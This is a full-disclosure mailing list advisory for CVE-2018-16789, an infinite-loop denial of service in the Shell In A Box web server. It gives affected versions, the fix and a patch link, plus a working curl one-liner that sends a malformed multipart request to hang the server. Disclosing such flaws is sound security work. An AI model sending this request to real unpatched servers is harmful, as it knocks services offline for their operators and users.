full-disclosure - [FD] CVE-2018-16789: denial of service in shellinabox

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Message-ID: <CAPWzz4z0nz8ccm_pL27fBAaYrujsGTW6UUDSKMGcO76QACGKZw@mail.gmail.com>
Date: Fri, 26 Oct 2018 14:07:31 +0200
From: Imre Rad <radimre83@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2018-16789: denial of service in shellinabox

Product: Shell In A Box (aka shellinabox, shellinaboxd)

"Shell In A Box implements a web server that can export arbitrary command
line tools to a web based terminal emulator. This emulator is accessible to
any JavaScript and CSS enabled web browser and does not require any
additional browser plugins. "
Most official-ish site: https://github.com/shellinabox/shellinabox

Vulnerability description:

The multipart/form-data parser function in the built-in webserver of Shell
In A Box enters an infinite loop in case of malformed request payload, the
server stops serving new requests and the the process eats up 100% of CPU
time.

Exploitation:

curl -v --header "Content-type: multipart/form-data;
boundary=------------------------8d14c0216fd84557" -d "impeachment"
http://127.0.0.1:4200/s/

Affected Shell In A Box versions:
2.20 and below

Remediation:
Upgrade to 2.21
Package available in Debian sid:
https://packages.debian.org/source/sid/shellinabox
Patch: https://github.com/shellinabox/shellinabox/pull/446

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